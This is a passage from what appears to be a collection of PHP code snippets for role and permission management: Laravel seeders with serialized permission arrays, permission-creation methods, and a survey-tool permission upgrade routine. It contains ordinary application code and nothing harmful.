create\";}i:12;a:2:{s:13:\"permission_id\";s:2:\"13\";s:15:\"permission_name\";s:17:\"query status edit\";}i:13;a:2:{s:13:\"permission_id\";s:2:\"14\";s:15:\"permission_name\";s:17:\"query status list\";}i:14;a:2:{s:13:\"permission_id\";s:2:\"15\";s:15:\"permission_name\";s:19:\"query status delete\";}i:15;a:2:{s:13:\"permission_id\";s:2:\"16\";s:15:\"permission_name\";s:22:\"customer nature create\";}i:16;a:2:{s:13:\"permission_id\";s:2:\"17\";s:15:\"permission_name\";s:20:\"customer nature edit\";}i:17;a:2:{s:13:\"permission_id\";s:2:\"18\";s:15:\"permission_name\";s:20:\"customer nature list\";}i:18;a:2:{s:13:\"permission_id\";s:2:\"19\";s:15:\"permission_name\";s:22:\"customer nature delete\";}i:19;a:2:{s:13:\"permission_id\";s:2:\"20\";s:15:\"permission_name\";s:24:\"customer priority create\";}i:20;a:2:{s:13:\"permission_id\";s:2:\"21\";s:15:\"permission_name\";s:22:\"customer priority edit\";}i:21;a:2:{s:13:\"permission_id\";s:2:\"22\";s:15:\"permission_name\";s:22:\"customer priority list\";}i:22;a:2:{s:13:\"permission_id\";s:2:\"23\";s:15:\"permission_name\";s:24:\"customer priority delete\";}i:23;a:2:{s:13:\"permission_id\";s:2:\"29\";s:15:\"permission_name\";s:13:\"settings view\";}i:24;a:2:{s:13:\"permission_id\";s:2:\"37\";s:15:\"permission_name\";s:14:\"changepassword\";}i:25;a:2:{s:13:\"permission_id\";s:2:\"24\";s:15:\"permission_name\";s:10:\"faq create\";}i:26;a:2:{s:13:\"permission_id\";s:2:\"25\";s:15:\"permission_name\";s:8:\"faq edit\";}i:27;a:2:{s:13:\"permission_id\";s:2:\"26\";s:15:\"permission_name\";s:8:\"faq list\";}i:28;a:2:{s:13:\"permission_id\";s:2:\"27\";s:15:\"permission_name\";s:10:\"faq delete\";}i:29;a:2:{s:13:\"permission_id\";s:2:\"28\";s:15:\"permission_name\";s:19:\"view faq categories\";}i:30;a:2:{s:13:\"permission_id\";s:2:\"30\";s:15:\"permission_name\";s:15:\"template create\";}i:31;a:2:{s:13:\"permission_id\";s:2:\"31\";s:15:\"permission_name\";s:13:\"template edit\";}i:32;a:2:{s:13:\"permission_id\";s:2:\"32\";s:15:\"permission_name\";s:13:\"template list\";}i:33;a:2:{s:13:\"permission_id\";s:2:\"33\";s:15:\"permission_name\";s:15:\"template delete\";}i:34;a:2:{s:13:\"permission_id\";s:2:\"34\";s:15:\"permission_name\";s:14:\"profile create\";}i:35;a:2:{s:13:\"permission_id\";s:2:\"35\";s:15:\"permission_name\";s:12:\"profile view\";}i:36;a:2:{s:13:\"permission_id\";s:2:\"36\";s:15:\"permission_name\";s:9:\"lead list\";}i:37;a:2:{s:13:\"permission_id\";s:2:\"40\";s:15:\"permission_name\";s:24:\"service request all list\";}i:38;a:2:{s:13:\"permission_id\";s:2:\"41\";s:15:\"permission_name\";s:24:\"escalation summary chart\";}i:39;a:2:{s:13:\"permission_id\";s:2:\"39\";s:15:\"permission_name\";s:17:\"feedback settings\";}i:40;a:2:{s:13:\"permission_id\";s:2:\"38\";s:15:\"permission_name\";s:19:\"question management\";}i:41;a:2:{s:13:\"permission_id\";s:2:\"91\";s:15:\"permission_name\";s:26:\"view auto reply categories\";}i:42;a:2:{s:13:\"permission_id\";s:2:\"92\";s:15:\"permission_name\";s:15:\"auto reply list\";}i:43;a:2:{s:13:\"permission_id\";s:2:\"94\";s:15:\"permission_name\";s:13:\"outbound call\";}}',\n 'created_by' => 2,\n 'updated_by' => 2,\n 'created_at' => '2018-06-29 18:27:05',\n 'updated_at' => '2019-01-23 08:30:49',\n 'deleted_at' => NULL,\n ),\n 4 => \n array (\n 'id' => 5,\n 'cmpny_id' => 2,\n 'role' => 'Manager',\n 'access_permission' => 'a:42:{i:0;a:2:{s:13:\"permission_id\";s:1:\"1\";s:15:\"permission_name\";s:21:\"permission management\";}i:1;a:2:{s:13:\"permission_id\";s:1:\"2\";s:15:\"permission_name\";s:15:\"role management\";}i:2;a:2:{s:13:\"permission_id\";s:1:\"3\";s:15:\"permission_name\";s:15:\"user management\";}i:3;a:2:{s:13:\"permission_id\";s:1:\"4\";s:15:\"permission_name\";s:11:\"plan create\";}i:4;a:2:{s:13:\"permission_id\";s:1:\"5\";s:15:\"permission_name\";s:9:\"plan edit\";}i:5;a:2:{s:13:\"permission_id\";s:1:\"6\";s:15:\"permission_name\";s:9:\"plan list\";}i:6;a:2:{s:13:\"permission_id\";s:1:\"7\";s:15:\"permission_name\";s:11:\"plan delete\";}i:7;a:2:{s:13:\"permission_id\";s:1:\"8\";s:15:\"permission_name\";s:17:\"query type create\";}i:8;a:2:{s:13:\"permission_id\";s:1:\"9\";s:15:\"permission_name\";s:15:\"query type edit\";}i:9;a:2:{s:13:\"permission_id\";s:2:\"10\";s:15:\"permission_name\";s:15:\"query type list\";}i:10;a:2:{s:13:\"permission_id\";s:2:\"11\";s:15:\"permission_name\";s:17:\"query type delete\";}i:11;a:2:{s:13:\"permission_id\";s:2:\"12\";s:15:\"permission_name\";s:19:\"query status create\";}i:12;a:2:{s:13:\"permission_id\";s:2:\"13\";s:15:\"permission_name\";s:17:\"query status edit\";}i:13;a:2:{s:13:\"permission_id\";s:2:\"14\";s:15:\"permission_name\";s:17:\"query status list\";}i:14;a:2:{s:13:\"permission_id\";s:2:\"15\";s:15:\"permission_name\";s:19:\"query status delete\";}i:15;a:2:{s:13:\"permission_id\";s:2:\"16\";s:15:\"permission_name\";s:22:\"customer nature create\";}i:16;a:2:{s:13:\"permission_id\";s:2:\"17\";s:15:\"permission_name\";s:20:\"customer nature edit\";}i:17;a:2:{s:13:\"permission_id\";s:2:\"18\";s:15:\"permission_name\";s:20:\"customer nature list\";}i:18;a:2:{s:13:\"permission_id\";s:2:\"19\";s:15:\"permission_name\";s:22:\"customer nature delete\";}i:19;a:2:{s:13:\"permission_id\";s:2:\"20\";s:15:\"permission_name\";s:24:\"customer priority create\";}i:20;a:2:{s:13:\"permission_id\";s:2:\"21\";s:15:\"permission_name\";s:22:\"customer priority edit\";}i:21;a:2:{s:13:\"permission_id\";s:2:\"22\";s:15:\"permission_name\";s:22:\"customer priority list\";}i:22;a:2:{s:13:\"permission_id\";s:2:\"23\";s:15:\"permission_name\";s:24:\"customer priority delete\";}i:23;a:2:{s:13:\"permission_id\";s:2:\"29\";s:15:\"permission_name\";s:13:\"settings view\";}i:24;a:2:{s:13:\"permission_id\";s:2:\"37\";s:15:\"permission_name\";s:14:\"changepassword\";}i:25;a:2:{s:13:\"permission_id\";s:2:\"24\";s:15:\"permission_name\";s:10:\"faq create\";}i:26;a:2:{s:13:\"permission_id\";s:2:\"25\";s:15:\"permission_name\";s:8:\"faq edit\";}i:27;a:2:{s:13:\"permission_id\";s:2:\"26\";s:15:\"permission_name\";s:8:\"faq list\";}i:28;a:2:{s:13:\"permission_id\";s:2:\"27\";s:15:\"permission_name\";s:10:\"faq delete\";}i:29;a:2:{s:13:\"permission_id\";s:2:\"28\";s:15:\"permission_name\";s:19:\"view faq categories\";}i:30;a:2:{s:13:\"permission_id\";s:2:\"30\";s:15:\"permission_name\";s:15:\"template create\";}i:31;a:2:{s:13:\"permission_id\";s:2:\"31\";s:15:\"permission_name\";s:13:\"template edit\";}i:32;a:2:{s:13:\"permission_id\";s:2:\"32\";s:15:\"permission_name\";s:13:\"template list\";}i:33;a:2:{s:13:\"permission_id\";s:2:\"33\";s:15:\"permission_name\";s:15:\"template delete\";}i:34;a:2:{s:13:\"permission_id\";s:2:\"34\";s:15:\"permission_name\";s:14:\"profile create\";}i:35;a:2:{s:13:\"permission_id\";s:2:\"35\";s:15:\"permission_name\";s:12:\"profile view\";}i:36;a:2:{s:13:\"permission_id\";s:2:\"36\";s:15:\"permission_name\";s:9:\"lead list\";}i:37;a:2:{s:13:\"permission_id\";s:2:\"40\";s:15:\"permission_name\";s:24:\"service request all list\";}i:38;a:2:{s:13:\"permission_id\";s:2:\"41\";s:15:\"permission_name\";s:24:\"escalation summary chart\";}i:39;a:2:{s:13:\"permission_id\";s:2:\"39\";s:15:\"permission_name\";s:17:\"feedback settings\";}i:40;a:2:{s:13:\"permission_id\";s:2:\"38\";s:15:\"permission_name\";s:19:\"question management\";}i:41;a:2:{s:13:\"permission_id\";s:2:\"94\";s:15:\"permission_name\";s:13:\"outbound call\";}}',\n 'created_by' => 2,\n 'updated_by' => 2,\n 'created_at' => '2017-08-08 14:53:59',\n 'updated_at' => '2019-01-23 08:30:56',\n 'deleted_at' => NULL,\n ),\n 5 => \n array (\n 'id' => 257,\n 'cmpny_id' => 1,\n 'role' => 'System Admin',\n 'access_permission' => 'a:40:{i:0;a:2:{s:13:\"permission_id\";s:1:\"1\";s:15:\"permission_name\";s:21:\"permission management\";}i:1;a:2:{s:13:\"permission_id\";s:2:\"45\";s:15:\"permission_name\";s:10:\"emailfetch\";}i:2;a:2:{s:13:\"permission_id\";s:1:\"2\";s:15:\"permission_name\";s:15:\"role management\";}i:3;a:2:{s:13:\"permission_id\";s:1:\"3\";s:15:\"permission_name\";s:15:\"user management\";}i:4;a:2:{s:13:\"permission_id\";s:1:\"4\";s:15:\"permission_name\";s:11:\"plan create\";}i:5;a:2:{s:13:\"permission_id\";s:1:\"5\";s:15:\"permission_name\";s:9:\"plan edit\";}i:6;a:2:{s:13:\"permission_id\";s:1:\"6\";s:15:\"permission_name\";s:9:\"plan list\";}i:7;a:2:{s:13:\"permission_id\";s:1:\"7\";s:15:\"permission_name\";s:11:\"plan delete\";}i:8;a:2:{s:13:\"permission_id\";s:1:\"8\";s:15:\"permission_name\";s:17:\"query type create\";}i:9;a:2:{s:13:\"permission_id\";s:1:\"9\";s:15:\"permission_name\";s:15:\"query type edit\";}i:10;a:2:{s:13:\"permission_id\";s:2:\"10\";s:15:\"permission_name\";s:15:\"query type list\";}i:11;a:2:{s:13:\"permission_id\";s:2:\"11\";s:15:\"permission_name\";s:17:\"query type delete\";}i:12;a:2:{s:13:\"permission_id\";s:2:\"12\";s:15:\"permission_name\";s:19:\"query status create\";}i:13;a:2:{s:13:\"permission_id\";s:2:\"13\";s:15:\"permission_name\";s:17:\"query status edit\";}i:14;a:2:{s:13:\"permission_id\";s:2:\"14\";s:15:\"permission_name\";s:17:\"query status list\";}i:15;a:2:{s:13:\"permission_id\";s:2:\"15\";s:15:\"permission_name\";s:19:\"query status delete\";}i:16;a:2:{s:13:\"permission_id\";s:2:\"16\";s:15:\"permission_name\";s:22:\"customer nature create\";}i:17;a:2:{s:13:\"permission_id\";s:2:\"17\";s:15:\"permission_name\";s:20:\"customer nature edit\";}i:18;a:2:{s:13:\"permission_id\";s:2:\"18\";s:15:\"permission_name\";s:20:\"customer nature list\";}i:19;a:2:{s:13:\"permission_id\";s:2:\"19\";s:15:\"permission_name\";s:22:\"customer nature delete\";}i:20;a:2:{s:13:\"permission_id\";s:2:\"33\";s:15:\"permission_name\";s:15:\"template delete\";}i:21;a:2:{s:13:\"permission_id\";s:2:\"34\";s:15:\"permission_name\";s:14:\"profile create\";}i:22;a:2:{s:13:\"permission_id\";s:2:\"35\";s:15:\"permission_name\";s:12:\"profile view\";}i:23;a:2:{s:13:\"permission_id\";s:2:\"36\";s:15:\"permission_name\";s:9:\"lead list\";}i:24;a:2:{s:13:\"permission_id\";s:2:\"40\";s:15:\"permission_name\";s:24:\"service request all list\";}i:25;a:2:{s:13:\"permission_id\";s:2:\"41\";s:15:\"permission_name\";s:24:\"escalation summary chart\";}i:26;a:2:{s:13:\"permission_id\";s:2:\"43\";s:15:\"permission_name\";s:12:\"escalated to\";}i:27;a:2:{s:13:\"permission_id\";s:2:\"44\";s:15:\"permission_name\";s:13:\"followup view\";}i:28;a:2:{s:13:\"permission_id\";s:2:\"47\";s:15:\"permission_name\";s:16:\"Followups Reopen\";}i:29;a:2:{s:13:\"permission_id\";s:2:\"48\";s:15:\"permission_name\";s:21:\"followup history edit\";}i:30;a:2:{s:13:\"permission_id\";s:2:\"46\";s:15:\"permission_name\";s:17:\"survey management\";}i:31;a:2:{s:13:\"permission_id\";s:2:\"49\";s:15:\"permission_name\";s:13:\"survey report\";}i:32;a:2:{s:13:\"permission_id\";s:2:\"39\";s:15:\"permission_name\";s:17:\"feedback settings\";}i:33;a:2:{s:13:\"permission_id\";s:2:\"71\";s:15:\"permission_name\";s:15:\"campaign create\";}i:34;a:2:{s:13:\"permission_id\";s:2:\"72\";s:15:\"permission_name\";s:13:\"campaign edit\";}i:35;a:2:{s:13:\"permission_id\";s:2:\"73\";s:15:\"permission_name\";s:13:\"campaign list\";}i:36;a:2:{s:13:\"permission_id\";s:2:\"74\";s:15:\"permission_name\";s:15:\"campaign delete\";}i:37;a:2:{s:13:\"permission_id\";s:2:\"59\";s:15:\"permission_name\";s:23:\"sales automation create\";}i:38;a:2:{s:13:\"permission_id\";s:2:\"60\";s:15:\"permission_name\";s:21:\"sales automation edit\";}i:39;a:2:{s:13:\"permission_id\";s:2:\"92\";s:15:\"permission_name\";s:15:\"auto reply list\";}}',\n 'created_by' => 1,\n 'updated_by' => 1,\n 'created_at' => '2019-01-10 14:42:53',\n 'updated_at' => '2019-01-10 14:53:07',\n 'deleted_at' => '2019-01-10 14:53:07',\n ),\n 6 => \n array (\n 'id' => 258,\n 'cmpny_id' => 1,\n 'role' => 'System Admin',\n 'access_permission' => 'a:8:{i:0;a:2:{s:13:\"permission_id\";s:1:\"1\";s:15:\"permission_name\";s:21:\"permission management\";}i:1;a:2:{s:13:\"permission_id\";s:2:\"45\";s:15:\"permission_name\";s:10:\"emailfetch\";}i:2;a:2:{s:13:\"permission_id\";s:1:\"2\";s:15:\"permission_name\";s:15:\"role management\";}i:3;a:2:{s:13:\"permission_id\";s:1:\"3\";s:15:\"permission_name\";s:15:\"user management\";}i:4;a:2:{s:13:\"permission_id\";s:1:\"4\";s:15:\"permission_name\";s:11:\"plan create\";}i:5;a:2:{s:13:\"permission_id\";s:1:\"5\";s:15:\"permission_name\";s:9:\"plan edit\";}i:6;a:2:{s:13:\"permission_id\";s:2:\"37\";s:15:\"permission_name\";s:14:\"changepassword\";}i:7;a:2:{s:13:\"permission_id\";s:2:\"30\";s:15:\"permission_name\";s:15:\"template create\";}}',\n 'created_by' => 1,\n 'updated_by' => 1,\n 'created_at' => '2019-01-10 16:14:52',\n 'updated_at' => '2019-01-16 10:36:42',\n 'deleted_at' => NULL,\n ),\n ));\n \n \n }", "public function run()\n\t{\n\t\tModel::unguard();\n\n\t\tPermission::create(['role' => 'Root']);\n\t\tPermission::create(['role' => 'Administrador']);\n\t\tPermission::create(['role' => 'Usuário']);\n\t}", "public function create(array $data): Permission\n {\n return Permission::create($data);\n }", "public function savePermissions($inputPermissions);", "public function add($data)\r\n {\r\n $permissions = array();\r\n if (isset($data['view'])) {\r\n $permissions['view'] = $data['view'];\r\n unset($data['view']);\r\n }\r\n\r\n if (isset($data['view_own'])) {\r\n $permissions['view_own'] = $data['view_own'];\r\n unset($data['view_own']);\r\n }\r\n if (isset($data['edit'])) {\r\n $permissions['edit'] = $data['edit'];\r\n unset($data['edit']);\r\n }\r\n if (isset($data['create'])) {\r\n $permissions['create'] = $data['create'];\r\n unset($data['create']);\r\n }\r\n if (isset($data['delete'])) {\r\n $permissions['delete'] = $data['delete'];\r\n unset($data['delete']);\r\n }\r\n\r\n $this->db->insert('tblroles', $data);\r\n $insert_id = $this->db->insert_id();\r\n if ($insert_id) {\r\n\r\n\r\n $_all_permissions = $this->roles_model->get_permissions();\r\n foreach ($_all_permissions as $permission) {\r\n $this->db->insert('tblrolepermissions', array(\r\n 'permissionid' => $permission['permissionid'],\r\n 'roleid' => $insert_id,\r\n 'can_view' => 0,\r\n 'can_view_own' => 0,\r\n 'can_edit' => 0,\r\n 'can_create' => 0,\r\n 'can_delete' => 0\r\n ));\r\n }\r\n\r\n foreach ($this->perm_statements as $c) {\r\n foreach ($permissions as $key => $p) {\r\n if ($key == $c) {\r\n foreach ($p as $perm) {\r\n $this->db->where('roleid', $insert_id);\r\n $this->db->where('permissionid', $perm);\r\n $this->db->update('tblrolepermissions', array(\r\n 'can_' . $c => 1\r\n ));\r\n }\r\n }\r\n }\r\n }\r\n\r\n logActivity('New Role Added [ID: ' . $insert_id . '.' . $data['name'] . ']');\r\n return $insert_id;\r\n }\r\n return false;\r\n }", "public function listsaccessLevelpost()\r\n {\r\n $input = Request::all();\r\n $new_accessLevel = AccessLevel::create($input);\r\n if($new_accessLevel){\r\n return response()->json(['msg' => 'Added a new accessLevel']);\r\n }else{\r\n return response('Oops, it seems like there was a problem adding the accessLevel');\r\n }\r\n }", "public function permission($permission);", "public function create()\n {\n return $this->permissionService->create();\n }", "public function InsertPermission() {\n if ($this->get_request_method() != \"POST\") {\n $this->response('', 406);\n }\n\n if (isset($_REQUEST['data'])) {\n\n foreach ($_REQUEST['data'] as $data) {\n if (isset($data['idUser'])) {\n $idUser = $data['idUser'];\n }\n if (isset($data['client'])) {\n $client = (int) ($data['client'] === 'true');\n }\n if (isset($data['fournisseur'])) {\n $fournisseur = (int) ($data['fournisseur'] === 'true');\n }\n if (isset($data['article'])) {\n $article = (int) ($data['article'] === 'true');\n }\n if (isset($data['stock'])) {\n $stock = (int) ($data['stock'] === 'true');\n }\n if (isset($data['factureAchat'])) {\n $factureAchat = (int) ($data['factureAchat'] === 'true');\n }\n if (isset($data['factureVente'])) {\n $factureVente = (int) ($data['factureVente'] === 'true');\n }\n if (isset($data['commandeAchat'])) {\n $commandeAchat = (int) ($data['commandeAchat'] === 'true');\n }\n if (isset($data['commandeVente'])) {\n $commandeVente = (int) ($data['commandeVente'] === 'true');\n }\n if (isset($data['bonLivraisonAchat'])) {\n $bonLivraisonAchat = (int) ($data['bonLivraisonAchat'] === 'true');\n }\n if (isset($data['bonLivraisonVente'])) {\n $bonLivraisonVente = (int) ($data['bonLivraisonVente'] === 'true');\n }\n if (isset($data['paiement'])) {\n $paiement = (int) ($data['paiement'] === 'true');\n }\n }\n\n if (!empty($idUser)) {\n try {\n $sql = $this->db->prepare(\"INSERT INTO permission (client, fournisseur, article, stock, factureAchat, factureVente, commandeAchat, commandeVente, bonLivraisonAchat, bonLivraisonVente, paiement, idUser)\" .\n \" VALUES(:client, :fournisseur, :article, :stock, :factureAchat, :factureVente, :commandeAchat, :commandeVente, :bonLivraisonAchat, :bonLivraisonVente, :paiement, :idUser)\");\n $sql->bindParam('client', $client, PDO::PARAM_INT);\n $sql->bindParam('fournisseur', $fournisseur, PDO::PARAM_INT);\n $sql->bindParam('article', $article, PDO::PARAM_INT);\n $sql->bindParam('stock', $stock, PDO::PARAM_INT);\n $sql->bindParam('factureAchat', $factureAchat, PDO::PARAM_INT);\n $sql->bindParam('factureVente', $factureVente, PDO::PARAM_INT);\n $sql->bindParam('commandeAchat', $commandeAchat, PDO::PARAM_INT);\n $sql->bindParam('commandeVente', $commandeVente, PDO::PARAM_INT);\n $sql->bindParam('bonLivraisonAchat', $bonLivraisonAchat, PDO::PARAM_INT);\n $sql->bindParam('bonLivraisonVente', $bonLivraisonVente, PDO::PARAM_INT);\n $sql->bindParam('paiement', $paiement, PDO::PARAM_INT);\n $sql->bindParam('idUser', $idUser, PDO::PARAM_INT);\n\n $sql->execute();\n\n if ($sql) {\n $success = array('status' => \"Success\", \"msg\" => \"Successfully inserted\");\n $this->response($this->json($success), 200);\n }\n // If invalid inputs \"Bad Request\" status message and reason\n $error = array('status' => \"Failed\", \"msg\" => \"Invalid params \");\n $this->response($this->json($error), 400);\n } catch (Exception $ex) {\n $this->response('', $ex->getMessage()); // If no records \"No Content\" status\n }\n }\n }\n\n // If invalid inputs \"Bad Request\" status message and reason\n $error = array('status' => \"Failed\", \"msg\" => \"Invalid param\");\n $this->response($this->json($error), 400);\n }", "public function create()\n {\n // Admin only\n }", "public function create()\n {\n /* Permission CREATE form */\n if (Auth::user()->hasRole('superadmin')) {\n return view('superadmin.permission.create');\n }\n abort(403);\n \n }", "public function create()\n {\n $this->authorize('create', Role::class);\n }", "public function run()\n {\n Permission::create([\n 'name' => 'company',\n 'guard_name' => 'web',\n ]);\n\n Permission::create([\n 'name' => 'customer',\n 'guard_name' => 'web',\n ]);\n }", "public function create()\n {\n return view('admin.level.create');\n }", "public function run()\n {\n Permission::create([\n 'name' => 'User Management',\n 'code' => 'user_management'\n ]);\n\n Permission::create([\n 'name' => 'Role Management',\n 'code' => 'role_manage'\n ]);\n\n Permission::create([\n 'name' => 'Master Management',\n 'code' => 'master_manage'\n ]);\n\n Permission::create([\n 'name' => 'Permission Management',\n 'code' => 'permission_management'\n ]);\n }", "public function create()\n {\n try {\n $permissions = Permission::latest()->get();\n for ($i=0; $i < count($permissions); $i++) { \n $permissions[$i]->access = false;\n }\n } catch (JWTException $e) {\n throw new HttpException(500);\n }\n return response()->json([\n 'permissions' =>$permissions\n ]);\n }", "public function run()\n {\n App\\Role::find(1)->attachPermission(1);\n App\\Role::find(1)->attachPermission(2);\n App\\Role::find(1)->attachPermission(3);\n }", "function upgradePermissions166()\n{\n Permission::model()->refreshMetaData(); // Needed because otherwise Yii tries to use the outdate permission schema for the permission table\n $oUsers=User::model()->findAll();\n foreach($oUsers as $oUser)\n {\n if ($oUser->create_survey==1)\n {\n $oPermission=new Permission;\n $oPermission->entity_id=0;\n $oPermission->entity='global';\n $oPermission->uid=$oUser->uid;\n $oPermission->permission='surveys';\n $oPermission->create_p=1;\n $oPermission->save();\n }\n if ($oUser->create_user==1 || $oUser->delete_user==1)\n {\n $oPermission=new Permission;\n $oPermission->entity_id=0;\n $oPermission->entity='global';\n $oPermission->uid=$oUser->uid;\n $oPermission->permission='users';\n $oPermission->create_p=$oUser->create_user;\n $oPermission->delete_p=$oUser->delete_user;\n $oPermission->update_p=1;\n $oPermission->read_p=1;\n $oPermission->save();\n }\n if ($oUser->superadmin==1)\n {\n $oPermission=new Permission;\n $oPermission->entity_id=0;\n $oPermission->entity='global';\n $oPermission->uid=$oUser->uid;\n $oPermission->permission='superadmin';\n $oPermission->read_p=1;\n $oPermission->save();\n }\n if ($oUser->configurator==1)\n {\n $oPermission=new Permission;\n $oPermission->entity_id=0;\n $oPermission->entity='global';\n $oPermission->uid=$oUser->uid;\n $oPermission->permission='settings';\n $oPermission->update_p=1;\n $oPermission->read_p=1;\n $oPermission->save();\n }\n if ($oUser->manage_template==1)\n {\n $oPermission=new Permission;\n $oPermission->entity_id=0;\n $oPermission->entity='global';\n $oPermission->uid=$oUser->uid;\n $oPermission->permission='templates';\n $oPermission->create_p=1;\n $oPermission->read_p=1;\n $oPermission->update_p=1;\n $oPermission->delete_p=1;\n $oPermission->import_p=1;\n $oPermission->export_p=1;\n $oPermission->save();\n }\n if ($oUser->manage_label==1)\n {\n $oPermission=new Permission;\n $oPermission->entity_id=0;\n $oPermission->entity='global';\n $oPermission->uid=$oUser->uid;\n $oPermission->permission='labelsets';\n $oPermission->create_p=1;\n $oPermission->read_p=1;\n $oPermission->update_p=1;\n $oPermission->delete_p=1;\n $oPermission->import_p=1;\n $oPermission->export_p=1;\n $oPermission->save();\n }\n if ($oUser->participant_panel==1)\n {\n $oPermission=new Permission;\n $oPermission->entity_id=0;\n $oPermission->entity='global';\n $oPermission->uid=$oUser->uid;\n $oPermission->permission='participantpanel';\n $oPermission->create_p=1;\n $oPermission->save();\n }\n }\n $sQuery = \"SELECT * FROM {{templates_rights}}\";\n $oResult = Yii::app()->getDb()->createCommand($sQuery)->queryAll();\n foreach ( $oResult as $aRow )\n {\n $oPermission=new Permission;\n $oPermission->entity_id=0;\n $oPermission->entity='template';\n $oPermission->uid=$aRow['uid'];\n $oPermission->permission=$aRow['folder'];\n $oPermission->read_p=1;\n $oPermission->save();\n }\n}", "public function givePermission($permission);", "public function givePermission($permission);", "public function run()\n {\n $permissions = [\n 'view',\n 'edit',\n 'edit-election'\n ];\n\n\n foreach ($permissions as $permission) {\n Permission::create(['name' => $permission]);\n }\n }", "public function create($permissionName, $readableName = null);", "function addPermission( $name ) {\n $d = loadDB();\n \n $found = false;\n $highestID = 0;\n foreach ($d['permissions'] as $perm) {\n if ($name == $perm['name']) {\n $found = true;\n }\n if ($perm['id'] > $highestID)\n $highestID = $perm['id'];\n }\n $highestID++;\n if (!$found) {\n array_push( $d['permissions'], array( \"name\" => $name, \"id\" => $highestID ) );\n saveDB( $d );\n audit( \"addPermission\", $name );\n } else {\n $highestID = -1; // indicate error\n }\n return $highestID;\n }", "public function create()\n {\n return view(\"role_permission.permission\");\n }", "public function run()\n {\n Permission::insert(config('permissions', true));\n }", "private function savePermissions()\n {\n $permissionString = \"\";\n foreach ($this->permissions as $permission => $status) {\n if ($status) {\n $permissionString .= $permission . \",\";\n }\n }\n\n if ($this->entityType === \"user\") {\n $this->permissionDb->updatePermissionsForUser($this->entity->getId(), $permissionString);\n } elseif ($this->entityType == \"rank\") {\n $this->permissionDb->updatePermissionsForRank($this->entity->getId(), $permissionString);\n } elseif ($this->entityType == \"apiKey\") {\n $this->permissionDb->updatePermissionsForApiKey($this->entity->getId(), $permissionString);\n } else {\n throw new Exception\\Exception(\"Invalid entityType '$this->entityType'\");\n }\n }", "public function userHasCreatePermission(){\n//\t\tif(\\GO\\Base\\Model\\Acl::hasPermission($this->getPermissionLevel(),\\GO\\Base\\Model\\Acl::CREATE_PERMISSION)){\n//\t\t\treturn true;\n//\t\t}else \n\t\tif(\\GO::modules()->isInstalled('freebusypermissions')){\n\t\t\treturn \\GO\\Freebusypermissions\\FreebusypermissionsModule::hasFreebusyAccess(\\GO::user()->id, $this->user_id);\n\t\t} else {\n\t\t\treturn true;\n\t\t}\n\t}", "public function testCreatePermissionSet()\n {\n }", "public function run()\n {\n \\DB::table('permissions')->delete();\n\n \\DB::table('permissions')->insert(array(\n 0 =>\n array(\n 'id' => 1,\n 'name' => 'Первый пермишн',\n 'guard_name' => 'cms_panel',\n 'created_at' => null,\n 'updated_at' => '2021-02-08 02:15:24',\n 'deleted_at' => '2021-02-08 02:15:24',\n 'desc' => 'Это описание для первого пермишена',\n ),\n 1 =>\n array(\n 'id' => 2,\n 'name' => 'Второй пермишен',\n 'guard_name' => 'catalog',\n 'created_at' => '2021-02-08 00:09:02',\n 'updated_at' => '2021-02-10 16:57:19',\n 'deleted_at' => '2021-02-10 16:57:19',\n 'desc' => 'Разрешение на редактирование каталога',\n ),\n 2 =>\n array(\n 'id' => 3,\n 'name' => 'Пермишен для клиентов',\n 'guard_name' => 'clients_guard',\n 'created_at' => '2021-02-08 00:22:01',\n 'updated_at' => '2021-02-08 00:22:12',\n 'deleted_at' => '2021-02-08 00:22:12',\n 'desc' => 'Этот пермишен позволяет делать то и это',\n ),\n 3 =>\n array(\n 'id' => 4,\n 'name' => 'Разрешение 3',\n 'guard_name' => 'guard_third',\n 'created_at' => '2021-02-08 02:16:06',\n 'updated_at' => '2021-02-10 16:57:25',\n 'deleted_at' => '2021-02-10 16:57:25',\n 'desc' => 'Тут будет описание',\n ),\n 4 =>\n array(\n 'id' => 5,\n 'name' => 'цуацуа',\n 'guard_name' => 'цуацуа',\n 'created_at' => '2021-02-10 18:54:28',\n 'updated_at' => '2021-02-10 19:05:30',\n 'deleted_at' => '2021-02-10 19:05:30',\n 'desc' => 'уцацуаацу',\n ),\n 5 =>\n array(\n 'id' => 6,\n 'name' => 'Просмотр каталога (общих товаров)',\n 'guard_name' => 'guard_catalog_view',\n 'created_at' => '2021-02-10 21:08:38',\n 'updated_at' => '2021-02-10 21:33:11',\n 'deleted_at' => null,\n 'desc' => 'Данный пункт разрешает просмотр всего каталога',\n ),\n 6 =>\n array(\n 'id' => 7,\n 'name' => 'Наполнение каталога',\n 'guard_name' => 'guard_catalog_write',\n 'created_at' => '2021-02-10 21:09:20',\n 'updated_at' => '2021-02-10 21:10:10',\n 'deleted_at' => null,\n 'desc' => 'Данный пункт разрешает добавлене новых товаров в каталог',\n ),\n 7 =>\n array(\n 'id' => 8,\n 'name' => 'Удаление из каталога общих товаров',\n 'guard_name' => 'guard_catalog_delete',\n 'created_at' => '2021-02-10 21:09:58',\n 'updated_at' => '2021-02-10 21:33:08',\n 'deleted_at' => null,\n 'desc' => 'Данный пункт разрешает удаление товаров из каталога',\n ),\n 8 =>\n array(\n 'id' => 9,\n 'name' => 'Удаление из каталога свох товаров',\n 'guard_name' => 'guard_catalog_delete_self',\n 'created_at' => '2021-02-10 21:33:01',\n 'updated_at' => '2021-02-11 23:23:50',\n 'deleted_at' => null,\n 'desc' => 'Данный пункт разрешает удаление только свох товаров',\n ),\n 9 =>\n array(\n 'id' => 10,\n 'name' => 'Редактирование своих товаров',\n 'guard_name' => 'guard_catalog_edit_self',\n 'created_at' => '2021-02-10 21:33:55',\n 'updated_at' => '2021-02-11 23:23:19',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать свои товары',\n ),\n 10 =>\n array(\n 'id' => 11,\n 'name' => 'Редактирование общих товаров',\n 'guard_name' => 'guard_catalog_edit',\n 'created_at' => '2021-02-10 21:34:19',\n 'updated_at' => '2021-02-10 21:34:19',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать все товары',\n ),\n 11 =>\n array(\n 'id' => 12,\n 'name' => 'Просмотр своих товаров',\n 'guard_name' => 'guard_catalog_view_self',\n 'created_at' => '2021-02-10 21:35:08',\n 'updated_at' => '2021-02-11 20:00:49',\n 'deleted_at' => null,\n 'desc' => 'Это разрешение позволяет просматривать только свои товары',\n ),\n 12 =>\n array(\n 'id' => 13,\n 'name' => 'Просмотр компаний фиксирующих курс',\n 'guard_name' => 'guard_company_view',\n 'created_at' => '2021-02-10 22:29:15',\n 'updated_at' => '2021-02-10 